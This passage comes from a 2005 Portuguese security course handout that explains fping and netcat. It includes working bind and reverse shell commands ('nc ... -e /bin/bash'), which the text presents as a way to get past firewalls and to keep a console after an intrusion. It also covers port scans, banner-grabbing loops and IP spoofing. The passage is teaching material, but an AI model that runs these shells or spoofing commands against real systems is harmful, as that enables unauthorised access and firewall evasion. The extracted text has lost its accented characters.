Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 58 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Com a opo -v sero exibidos os plugins que esto sendo baixados. Este script no possui nenhuma forma para verificar a integridade dos plugins baixados,por isso use-o com cautela. ( leia a manpage deste script para maiores detalhes)

9.3) Fping
O fping um programa que, assim como ping, utiliza o protocolo ICMP ( ) para determinar se um ou vrios ns da rede esto ativos, mas ao contrrio do ping, ele permite realizar a verificao de vrios ns ao mesmo tempo, o endereo dos ns pode ser passado via linha de comando ou atravs de um arquivo texto. O fping ao receber uma confirmao de atividade automaticamente, envia um aviso de atividade e exclui o host da lista de verificao, mas quando um n no responde em no perodo pr determinado ele tido como desligado ou no alcanvel. Este comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e sua sada ser de fcil manipulao. Este comando aceita os seguintes parmetros: -a : lista somente aqueles ns que esto ativos;
_____ __ _______________________________ _ ____!__"#___

-A : mostra o endereo do n ao invs do seu nome de domnio; -c : informa quanto pacotes devem ser enviados para cada host; -C : assim como o anterior, mas este informa no final o tempo de resposta em milisegundos de cada pacote; -e : mostra o tempo decorrido at o recebimento do pacote de verificao; -i : tempo mnimo em milisegundos entre o envio de dois pacotes a qualquer host da rede; -l : loop, envia pacotes indefinidamente; -n : utiliza o nome de domnio do host na sada do comando; -r : nmero de tentativas de alcanar o host; -u : mostra somente os host que no foram alcanados
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 59 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Exemplos: Informa o estado das mquinas utilizando o nome de domnio delas, como pode ser observado logo abaixo:
fping -n 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67 ns.ravel.ufrj.br is alive mailhost.ravel.ufrj.br is alive gw-ether.ravel.ufrj.br is alive mailhost.ravel.ufrj.br is alive websec.ravel.ufrj.br is unreachable

Informa somente o nome das mquinas que esto ativas, como vemos abaixo:
fping -na 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67 ns.ravel.ufrj.br mailhost.ravel.ufrj.br gw-ether.ravel.ufrj.br mailhost.ravel.ufrj.br

Informa somente o nome das mquinas que no podem ser encontradas, como pode ser observado logo abaixo:
fping -nu 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67 websec.ravel.ufrj.br

Envia apenas dois pacotes para cada host e no final informa a taxa de pacotes enviados, recebidos e perdidos, como pode ser observado logo abaixo:
fping -q -n -c 2 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.101 ns.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 50.0/51.8/53.7 mailhost.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 45.5/47.3/49.1 websec.ravel.ufrj.br : xmt/rcv/%loss = 2/0/100% gw-ether.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 51.3/52.5/53.7 146.164.32.101 : xmt/rcv/%loss = 5/5/0%, min/avg/max = 49.8/58.6/76.9

Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta de cada um, como pode ser observado logo abaixo:
fping -q -n -C 5 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.101 ns.ravel.ufrj.br : 490.2 509.4 520.3 505.6 466.7 mailhost.ravel.ufrj.br : 529.4 512.2 526.0 489.0 505.6 websec.ravel.ufrj.br : - - - - gw-ether.ravel.ufrj.br : 479.3 540.4 509.7 478.5 494.6 146.164.32.101 : 684.3 520.1 592.9 533.1 745.8 Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 60 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Informa o tempo de resposta de cada host, informando o seu endereo ip ao invs do seu nome de domnio, como pode ser observado logo abaixo:
fping -A -e protheus.ravel.ufrj.br websec.ravel.ufrj.br www.yahoo.com.br www.gmail.com 146.164.32.67 is alive (53.3 ms) 200.152.161.113 is alive (45.9 ms) 64.233.171.107 is alive (534 ms) 146.164.32.75 is unreachable

9.3) Netcat
Netcat uma ferramenta usada para ler e escrever dados em conexes de rede usando o protocolo

TCP/IP. Dada sua grande versatilidade, o NetCat considerado pelos hackers o canivete suo do TCP/IP, podendo ser usado para fazer desde portscans at brute force attacks. O nome netcat vem do comando cat do Linux/Unix. O cat concatena arquivos e envia para a sada padro (stdout). O netcat faz praticamente o mesmo, porm ao invs de concatenar arquivos, o netcat concatena sockets TCP e UDP.

9.3.1) Opes do Netcat


-e comando : Executa o comando especificado usando como entrada (stdin) os dados recebidos pela rede e enviando os dados de sada (stdout e stderr) para a rede. Essa opo somente estar presente se o nc for compilado com a opo GAPING_SECURITY_HOLE, j que permite que usurios disponibilizem programas para qualquer um conectado a rede. -i : Especifica o intervalo de tempo no qual as linhas de texto sero enviadas ou recebidas. -l : Coloca no netcat em estado de escuta (listening) -L : Coloca no netcat em estado de escuta (listening), reiniciando o netcat com a mesma linha de comando caso a conexo feche; -n : Fora o netcat a usar apenas endereos de IP numricos, sem fazer consultas a servidores DNS; -o filename : Usando para obter um log dos dados de entrada ou sada, em formato hexadecimal; -p : Especifica a porta a ser usada, sujeito a disponibilidade e a restries de privilgio;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 61 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

-r : Faz as portas do portscan serem escolhidas aleatoriamente; -s : Especifica o endereo IP da interface usada para enviar os pacotes. Pode ser usado para spoofing de IPs, bastando apenas configurar uma interface do tipo eth0:0 (usando o ifconfig) com o IP desejado; -t : Permite usar o nc para criar sesses de telnet por script. Precisa estar compilado com a opo -DTELNET; -u : Usar UDP ao invs de TCP; -v : Controla o nvel de mensagens mostradas na tela; -w : Limita o tempo mximo para que uma conexo seja estabelecida; -z : Para evitar o envio de dados atravs de uma conexo TCP, e limitar os dados de uma conexo UDP.

9.3.2) Preparando as Interfaces de Rede


Para testar o netcat, usaremos dois aliases na interface loopback (lo) do linux. O endereo IP default da interface lo no linux 127.0.0.1. Se mexermos com o endereo 127.0.0.1 podemos quebrar as nossas conexes de rede. Ao invs disso, usaremos os aliases lo:1 e lo:2 para executarmos os testes. Para atribuir endereos IP essas interfaces, os seguintes comandos devem ser executados (como usurio root) na console do linux:
$ ifconfig lo:1 10.0.1.1 $ ifconfig lo:2 10.0.1.2 Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 62 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

O comando ifconfig tambm permite verificar se o comando foi bem sucedido: ifconfig
lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:10 errors:0 dropped:0 overruns:0 frame:0 TX packets:10 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:700 (700.0 b) TX bytes:700 (700.0 b) lo:1 Link encap:Local Loopback inet addr:10.0.1.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:20848 errors:911 dropped:0 overruns:0 frame:926 TX packets:63 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1398645 (1.3 Mb) TX bytes:6935 (6.7 Kb) lo:2 Link encap:Local Loopback inet addr:10.0.1.2 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:20848 errors:911 dropped:0 overruns:0 frame:926 TX packets:63 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1398645 (1.3 Mb) TX bytes:7281 (7.1 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem dois computadores na mesma rede, com IPs diferentes.

9.3.3) Colocando o Netcat para escutar uma porta


O seguinte comando permite usar o netcat para "escutar" o trfego da rede:
nc -vv -l -p8080 Listening on any address 8080 (webcache)

Para redirecionar a sada para um arquivo, usa-se o seguinte formato:


nc -l -p8080 > filename.txt

Para conectar um cliente netcat, usa-se o seguinte comando:


nc 10.0.1.1 -p8080 > filename.txt

Assim, tudo o que for digitado no cliente ser repetido no servidor (na primeira console). Use CTRLC para terminar a conexo.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 63 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

O servidor dever mostrar um breve resumo da conexo:


Total received bytes: 5 Total sent bytes: 0

9.3.4) Transferindo Arquivos


Transferir arquivos de um host para outro usando o netcat bastante simples. Basta configurar o lado server (que vai receber o arquivo) para "escutar" uma porta especfica e redirecionar todos os dados recebidos para um arquivo. Colocando-se um timeout, o servidor ir perceber quando no existem mais dados chegando e ir fechar a conexo. No lado cliente da conexo, simplesmente conecta-se porta do servidor e passa-se o arquivo a ser transferido como entrada. Servidor: nc -vvn -l -p 3000 -w 30 > file Listening on any address 3000 Cliente: nc -vvn -w 2 10.0.0.1 3000 < file1 10.0.0.1 3000 open O servidor ir mostrar a seguinte mensagem quando uma conexo for estabelecida: Connection from 10.0.0.1:1028 Novamente, a conexo deve ser terminada usando-se o CTRL-C. O servidor ir mostrar: Exiting. Total received bytes: 6 Total sent bytes: 0 Enquanto que o cliente mostrar: Total received bytes: 0 Total sent bytes: 6

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 64 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

9.3.5) Emulando o servio de Telnet


Agora que j sabemos como fazer uma transferncia de arquivos, podemos tentar algo mais til. Por exemplo, podemos nos conectar em uma mquina remota e executar alguns comandos, sem passar por mecanismos de controle de acesso. Para isso, podemos usar o netcat com a opo -e. Um simples exemplo: Na console do servidor entre:
nc -l -p 5000 -e /bin/bash

No cliente:
nc 10.0.1.1 5000

Agora, estamos conectados no servidor, e com acesso ao shell. No vemos o prompt, mas podemos ver a sada de cada comando enviado para o servidor:
ls bin dev home media opt root srv tmp var boot etc lib mnt proc sbin sys usr

9.3.6) Criando um Portscanning


possvel usar o netcat para fazer portscans. Para isso, deve-se usar a flag -z (zero I/O mode), que apenas conecta e desconecta de uma determinada porta. Para executar um scan um portas UDP, deve-se usar a opo -u. TCP
nc -vvn -z xxx.xxx.xxx.xxx start-end

UDP
nc -u -vvn -z xxx.xxx.xxx.xxx start-end Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 65 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

No exemplo abaixo, tentamos fazer um scan das portas 21 at 26. Como pode-se ver, portas fechadas resultam em um "Connection refused" e portas abertas mostram "open". O scan UDP basicamente o mesmo.
nc -vvn -z 10.0.0.1 21-26 10.0.0.1 21 (ftp): Connection refused 10.0.0.1 22 (ssh) open 10.0.0.1 23 (telnet): Connection refused 10.0.0.1 24: Connection refused 10.0.0.1 25 (smtp): Connection refused 10.0.0.1 26: Connection refused Total received bytes: 0 Total sent bytes: 0

9.3.7) Telnet Reverso


Muitas empresas possuem algum tipo de link dedicado para acesso a internet. Tambem possuem algum tipo de firewall que bloqueia o acesso a rede interna, que muitas vezes no tem um IP vlido que podemos acessar. Para logar remotamente em um computador dessa rede, talvez para copiar algum arquivo importante para finalizar um trabalho que esteja fazendo de sua casa, um cliente telnet ou ftp no poderia ser usado. Por exemplo, temos um servidor que aceita apenas conexes externas na porta 80, mas no tem um IP externo vlido. O computador de casa provavelmente possui um IP real vlido, e portas que podem

ser abertas ou fechadas conforme a necessidade. Invertendo as direes das conexes pode resolver esse problema: basta fazer o computador do escritrio conectar no computador de casa, recebendo comandos do cliente a executando-os no servidor. Essa tcnica conhecida como Telnet Reverso. Vamos chamar o computador do escritrio de WORK e o computador de casa HOME. Se o computador HOME for configurado para usar IP dinmico, precisaremos de um nome para DNS dinmico, tipo o servio fornecido pela dyndns.org. No computador WORK, configuramos um job cron para iniciar as 19:00. Como no exemplo anterior do telnet, ele conecta ao home.dyndns.org e inicia uma sesso bash. Para isso, em casa deve-se iniciar (antes das 19:00) o netcat da seguinte forma: nc -vv -l -p 80 As 10:00, WORK conecta ao HOME, inicia o bash e est pronto para executar qualquer comando que queremos. Para testar nosso telnet reverso na nossa rede virtual, devemos colocar o cliente (HOME) em modo
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 66 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

de espera, escutando uma conexo: nc -vv -l -p 80 Listening on any address 80 Para conectar a partir do servidor (WORK): nc 10.0.1.1 80 -e /bin/bash Essa tcnica bem simples e eficiente, pois usa somente a porta 80, que dificilmente estar bloqueada no firewall. A partir do computador HOME voc pode enviar comandos para o WORK, e receber o resultado localmente. Alm disso, o telnet reverso pode ser usado para ganhar uma console de um servidor depois de uma invaso.

9.3.8) Banner-grabbing
Banner-grabbing consiste em enviar para o destino strings especficas a partir de um arquivo e receber os resultados na tela. O exemplo a seguir inclui um lao for bsico para fazer o scan de mltiplos destinos de uma vez. O arquivo WEB.txt deve conter : head / http/1.0 e dois "enters", ou apenas os dois enters para funcionar em outras portas alm da 80. O arquivo IPlist deve conter a lista dos endereos IP a serem scaneados: 10.0.1.1 Aps criar esses dois arquivos, execute: for f in `cat IPlist.txt`; do nc $f 80 < WEB.txt; done;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 67 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

O resultado dever ser algo do tipo:


HTTP/1.1 501 Method Not Implemented Date: Mon, 13 Dec 1999 08:19:31 GMT Server: Apache/2.0.40 (Red Hat Linux) Vary: accept-language Accept-Ranges: bytes Content-Length: 993 Connection: close Content-Type: text/html; charset=ISO-8859-1 Expires: Mon, 13 Dec 1999 08:19:31 GMT <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head>

<title>Cannot process request!</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link rev="made" href="mailto:root@localhost" /> <style type="text/css"> <!-body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } --> </style> </head><body> <h1>Cannot process request!</h1> <dl> <dd> The server does not support the action requested by the browser. </dd></dl><dl><dd> If you think this is a server error, please contact the <a href=" mailto:root@localhos t ">webmaster</a > </dd></dl> <h2>Error 501</h2> <dl> <dd> <address> <a href="/">localhost.localdomain</a> <br /> <small>Mon Dec 13 00:19:31 1999</small> <br /> <small>Apache/2.0.40 (Red Hat Linux)</small> </address> </dd> </dl> </body> </html>

Voc pode, inclusive, usar o netcat para enviar um exploit para o destino. Quando a conexo HTTPS, voc usar o stunnel para tunelar o nc, ou apenas o prprio stunnel. Para mais detalhes veja a man page do stunnel: man stunnel
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 68 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

A sintaxe do comando dever ser algo parecido com a seguinte linha: (echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel configuration-file host:port

9.3.9) IP Spoofing
Usando o netcat, voc pode fazer inclusive spoofing de endereos IP. Se voc estiver escutando o trfego em um segmento, voc pode enviar esse trfego para outro host usando o protocolo UDP. O comando dever ser tipo: tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip <port> Isso tambm requer que voc configure o endereo IP spoofed para um alias na sua interface de rede: ifconfig eth0:N spoofed_ip onde N o alias a ser configurado. Isso ir causar problemas com o host que est sendo spoofed, j que feito o mesmo endereo IP propagado por dois hosts na mesma rede. Para executar um spoofing sem causar tantos problemas, use a ferramenta hping.

9.4) Outros Comandos:


Bastile: ele um pacote de scripts utilizados para aumentar o nvel de segurana do Linux, desenvolvido para a distribuio Red Hat com o pacote do Perl (Pratical Extraction and Report Language), deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaes bsicas, permitindo ainda ativar e desativar opes do sistema operacional; SATAN: o aplicativo Security Administrator's Tool for Analizing Network, pode ser exectado em

qualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP, varredura de vulnerabilidades mais conhecidas, oferece tutoriais que descrevem as vulnerabilidades e como explora-las; COOPS: Computer Oracle and Password System, um dos aplicativos utilizados para realizar varredura do host local, verificar o modo dos arquivos e as senhas fceis. No final de seu trabalho ele gera um relatrio com a descrio e a ao a ser tomada para resolver a violao;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 69 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Tripwire : este aplicativo informa se j houve alguma invaso no sistema. Ele um analisador de integridade de arquivos e diretrios, durante sua execuo ele compara as informaes existentes no sistema de arquivo com os dados prviamente coletados e armazenados no banco de dados. Normalmente sua atividade agendada pela CRON do sistema. Aps ser executado ele produz um relatrio com as possveis violaes que o sistema possa ter sofrido. Quando executado periodicamente permite que brechas de segurana possam ser descobertas o mais rpido possvel. PGP : este uma ferramenta multi plataforma que atravs da criptografia simtrica permite proteger o contedo e/ou a integridade dos dados trocados. Ao enviar uma mensagem ele pode utilizar a chave pblica do destinatrio de tal modo que somente quem possuir sua chave privada poder decifar a mensagem que lhe foi enviada. Hping: Icmpenum: Icmpquery: Strobe: Udp_scan: Siphon: p0f: Cheops: Icmpinfo: nttcp:
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 70 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Referencias:
[1] Net, Urubatam; Dominando Linux Firewall Iptables; [2] Linux Magazine, Nmero 4 Ano I, pgina 32; [3] Arkin, Ofir; ICMP Usage in Scanning; Julho de 2000; [4] Fping http:\\www.fping.com\ [5] RFC 1812: Requiriments for IPv4 Routers; http:\\www.ietf.org\rfc\rfc1812.txt [6] RFC793 - TRANSMISSION CONTROL PROTOCOL; DARPA INTERNET PROGRAM, PROTOCOL SPECIFICATION; Defense Advanced Research Projects Agency. September 1981; [7] IANA: List of assigned ports; ftp:\\ftp.isi.edu\in-notes\iana\assignments\port-numbers; [8] Fyodor; Remote OS derection via TCP/IP Stack FingerPrinting; 18 de Outubro de 1998; [9] Arkin, Ofir; ICMP Usage in Scanning, The Complete Know-How; Verso 3.0; Junho de 2001; [10]Arkin, Ofir e Yarochkin, Fyodor; X remote ICMP based OS Fingerprinting techniques; Agosto de 2001.; [11] Arkin, Ofir; A remote active OS fingerprinting tool using ICMP; Abril de 2002; [12] Arkin, Ofir e Yarochkin, Fyodor; The Present and Future of Xprobe2, The Next Generation of Active Operation System Fingerprinting; julho de 2003;

[13] Cid, Daniel B.; Identificao Passiva de Sistemas Operacionais; Maio de 2003; [14] Nazario, Jose; Passive System Fingerprinting using Networking Client Applications; 27 de Novembro de 2000; [15] Smith, Craing; Know Your Enemy: Passive Fingerprinting - Identifing remote hosts, without then khnowing; 4 de Maro de 2002
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 71 de 71

Vous aimerez peut-être aussi